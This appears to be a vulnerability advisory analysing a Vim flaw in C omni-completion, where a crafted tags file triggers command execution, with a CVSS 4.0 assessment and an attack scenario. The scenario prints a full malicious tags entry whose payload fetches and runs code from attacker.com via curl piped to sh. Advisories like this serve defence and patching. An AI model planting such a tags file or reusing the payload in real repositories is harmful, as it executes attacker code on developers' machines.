Vim EUVD-2026-60975

The attacker must control or influence a ctags-format tags file that is reachable by Vim's 'tags' option search path. Vim's default configuration includes './tags' and 'tags', meaning a tags file placed in or above the working directory is automatically in scope without any non-default configuration change. The malicious tags entry must contain a typeref: or typename: field with an unclosed '[' character followed by a '|' command separator and arbitrary Ex/shell payload. The victim must be editing a C source file in Vim < 9.2.0845 and must manually invoke CTRL-X CTRL-O on a member access expression that causes StructMembers() to resolve the malicious tag entry. Exploitation is bounded by: (1) local attack vector - the attacker cannot deliver the tags file over the network without a separate file-delivery primitive; (2) active user interaction - the victim must deliberately trigger the specific completion keystroke during a C editing session; and (3) AT:P - the malicious tags file must already be in the Vim tags search path at the moment of completion invocation. No authentication to the system is required by the attacker beyond the ability to plant or influence the tags file.

The CVSS 4.0 vector (AV:L/AC:L/AT:P/PR:N/UI:A, score 7.1) accurately reflects the core risk profile: local delivery, low complexity once conditions are satisfied, specific attack requirements (AT:P - a crafted tags file must be in Vim's search path), no privilege requirement for the attacker, and mandatory active user interaction. Real-world risk is elevated for developers who clone untrusted repositories, work in shared codebases, or use externally generated ctags files, because Vim's default 'tags' option includes './tags' - meaning a tags file in the working directory is automatically trusted. The UI:A requirement (CTRL-X CTRL-O is a deliberate, workflow-integrated keystroke) provides meaningful friction, but this is a routine action for developers using Vim's C completion. No KEV listing and no EPSS score were present in the source data, so active exploitation cannot be confirmed; however, the upstream fix commit includes a self-contained exploit test case that demonstrates the exact payload structure, making independent reconstruction trivial. This is a genuine priority for developer workstations and CI environments where Vim processes external codebases, but is not a mass-exploitation risk given the local attack surface.

A developer clones an open-source C project whose repository includes a crafted tags file containing an entry such as 'myvar\tmain.c\t/^x$/;"\tv\ttyperef:struct:[|call system("curl attacker.com/implant | sh")|####'. While editing a source file from the project with Vim < 9.2.0845 and the tags file in scope, the developer presses CTRL-X CTRL-O to complete a member access on 'myvar'. StructMembers() constructs a vimgrep pattern embedding the malicious typeref value; the unclosed '[' breaks regex parsing, the '|' is treated as an Ex command separator, and system() executes the embedded shell command with the developer's privileges. The fix commit's test function Test_ccomplete_no_exec_via_typeref_bracket() demonstrates this exact payload.